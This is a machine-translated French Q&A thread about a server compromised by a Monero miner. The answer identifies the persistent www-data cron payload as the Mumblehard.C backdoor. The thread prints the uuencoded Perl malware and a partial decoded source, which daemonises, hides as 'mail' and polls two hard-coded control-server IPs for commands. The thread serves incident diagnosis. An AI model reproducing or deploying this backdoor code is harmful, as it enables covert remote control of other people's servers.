web-dev-qa-db-fra.com

Attaque minière Bitcoin

Je pense que mon serveur a été attaqué et j'apprécie toute aide.

Sur l'image processus en haut il montre des processus étranges.

La sortie de netstat -tap montre plusieurs:

tcp        0      1 myserver:47985            monero.crypto-pool:6666 SYN_ENVI    -

Si je le fais: crontab -e ou crontab -l il ne montre rien . Puis j'ai trouvé ceci:

Sudo cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/dflubvojhH7 installed on Mon Jan  8 21:01:29 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/10 * * * * Perl /var/tmp/dflubvojhH >/dev/null 2>&1

Vérification des autorisations de fichiers

/var/spool/cron/crontabs# ll

-rw------- 1 ww-data       www-data     191 Jan 10 11:26 www-data

Ensuite, j'ai trouvé ce fichier exécutable:

ls /var/tmp/
gnqjfq

Le contenu du fichier:

$ cat /var/tmp/gnqjfq 
my $FMJJIN;$FMJJIN.=$_ while(<DATA>);eval(unpack('u*',$FMJJIN));
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD,"`](")M86EL(CL@)'P@
M/2`Q.R`F;6%I;[email protected]=6(@;6%I;@I["F5X:70@,"!U;FQE<W,@9&5F:6YE
M9"`H;7D@)'!I9"`](&9O<FLI.PIE>&ET(#`@:68@)'!I9#L*4$][email protected]
M='-I9"@I.PHD4TE'>R1??2`]("))1TY/4D4B(&9O<B`H<7<@*$A54"!)3E0@
M24Q,($9012!154E4($%"4E0@55-2,2!314=6(%534C(@4$E012!!3%)-(%1%
M4DT@0TA,1"DI.PIU;6%S:R`P.PIC:&1I<B`B+R(["F]P96X@*%-41$E.+"`B
M/"]D978O;G5L;"(I.PIO<&5N("A35$1/550L("(^+V1E=B]N=6QL(BD["F]P
M96X@*%-41$524BP@(CXF4U1$3U54(BD["FUY("1U<FP@/2!;(C<W+C<R+C@S
M+C$S-R(L(CDS+C@X+C<T+C(T,R)=.PIM>2`D<FYD(#T@6R)A(BXN(GHB+"`B
M02(N+B):(ET[("1R;F0@/2!J;VEN("@B(BP@0"1R;F1;;6%P('MR86YD($`D
M<FYD?2@Q+BXH-B`K(&EN="!R86YD(#4I*5TI.PIM>2`D9&ER(#T@(B]V87(O
M=&UP(CL@:68@*&]P96X@*$8L("(^(BP@(B]T;7`O)')N9"(I*2![(&-L;W-E
M($8[('5N;&EN:R`B+W1M<"\D<FYD(CL@)&1I<B`](B]T;7`B.R!]"FUY("@D
M:&5A9&5R+"`D8V]N=&5N="D["FUY("@D;&EN:RP@)&9I;&4L("1I9"P@)&-O
M;6UA;F0L("1T:6UE;W5T*2`]("@B96XN=VEK:7!E9&EA+F]R9R(L(")I;F1E
M>"YH=&UL(BP@,[email protected](#$P*3L*9F]R96%C:"!M>2`D<G,@*$`D=7)L*0I[
M"B1H96%D97(@/2`B)&1I<B\B("X@=&EM93L@)&-O;G1E;G0@/2`D:&5A9&5R
M("X@(C$B.PIU;FQI;FL@)&AE861E<B!I9B`M9B`D:&5A9&5R.R!U;FQI;FL@
M)&-O;G1E;G0@:68@+68@)&-O;G1E;G0["B9H='1P*"1R<RP@)'1I;65O=70L
M("1H96%D97(L("1C;VYT96YT+"`P*3L*:68@*&]P96X@*$8L("(\(BP@)&AE
M861E<BDI"GL*9FQO8VL@1BP@,3L*;7D@*"1T97-T+"`D=&%S:RD@/2`H,"P@
M(B(I.PIW:&EL92`H/$8^*0I["G,O7EQS*BA;7EQS73\N*BDD+R0Q+SL*<R]>
M*"XJ6UY<<UTI7',J)"\D,2\["FYE>'0@=6YL97-S(&QE;F=T:"`D7SL*)'1E
M<W0@*RL@:68@)%\@97$@(DA45%`O,2XP(#(P,"!/2R(@?'P@)%\@97$@(D-O
M;FYE8W1I;VXZ(&-L;W-E(CL@)'1A<VL@/2`D,2!I9B`O7E-E="U#;V]K:64Z
M(%!(4%-%4U-)1#TH6UX[72LI+SL*?0IC;&]S92!&.PHH)&QI;FLL("1F:6QE
M+"`D:60L("1C;VUM86YD+"`D=&EM96]U="D@/2`F9&5C>&0H)'1A<VLI(&EF
M("1T97-T(#T](#(@)B8@;&5N9W1H("1T87-K.PI]"G5N;&EN:R`D:&5A9&5R
M(&EF("UF("1H96%D97([('5N;&EN:R`D8V]N=&5N="!I9B`M9B`D8V]N=&5N
...

J'ai essayé ceci:

  1. Commentez la ligne cron: Cela n'a pas fonctionné, cela crée un nouveau cron
  2. Supprimer le fichier cron www-data: n'a pas fonctionné, il crée un nouveau fichier cron
  3. Supprimer la ligne cron et changer le propriétaire/groupe en racine: cela n'a pas fonctionné. Je ne sais pas comment il le fait, mais après 2 jours, il a recommencé à travailler, mais le cron reste vide et avec le propriétaire de la racine.
7
user1669052

Cela semble être la charge utile de la porte dérobée Mumblehard.C. Ce fichier permet l'exécution de code arbitraire à partir des serveurs de contrôle répertoriés dans le fichier et pourrait s'exécuter avec les autorisations de l'utilisateur www-data.

Je voudrais certainement sauvegarder vos données et réinstaller cependant la portée de cette porte dérobée ne devrait être que l'utilisateur www-data et était probablement due à une installation obsolète WordPress.

Cela rend intentionnellement difficile de tuer. Vous pouvez à la place tuer tous les processus exécutés sous l'utilisateur www-data si vous devez essayer de le limiter pendant que le système est toujours en cours d'exécution.

Le fichier dans/var/tmp est un script Perl qui code un autre script Perl en utilisant le format uuencode. Vous n'avez pas inclus le tout, mais voici à quoi cela ressemble en clair:

#!/usr/bin/Perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "mail"; $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["77.72.83.137","93.88.74.243"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {Rand @$rnd}(1..(6 + int Rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $conten

Cela semble étroitement parallèle au code à partir d'ici:

http://hardwarefetish.com/681-mumblehard-c-trojan-unpacked

Où 77.72.83.137 et 93.88.74.243 sont les serveurs de contrôle. Ces deux IP sont enregistrés en Russie et sont destinés à des VPS. Une des adresses IP est répertoriée pour l'activité de spam:

https://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a93.88.74.243&run=toolpage

À mesure que ces adresses IP sont indexées dans les moteurs de recherche, l'attaquant les désactivera automatiquement. Bien que je doute que cela ait beaucoup d'importance, les VPS ne vont pas vous aider légalement de toute façon.

5
jdwolf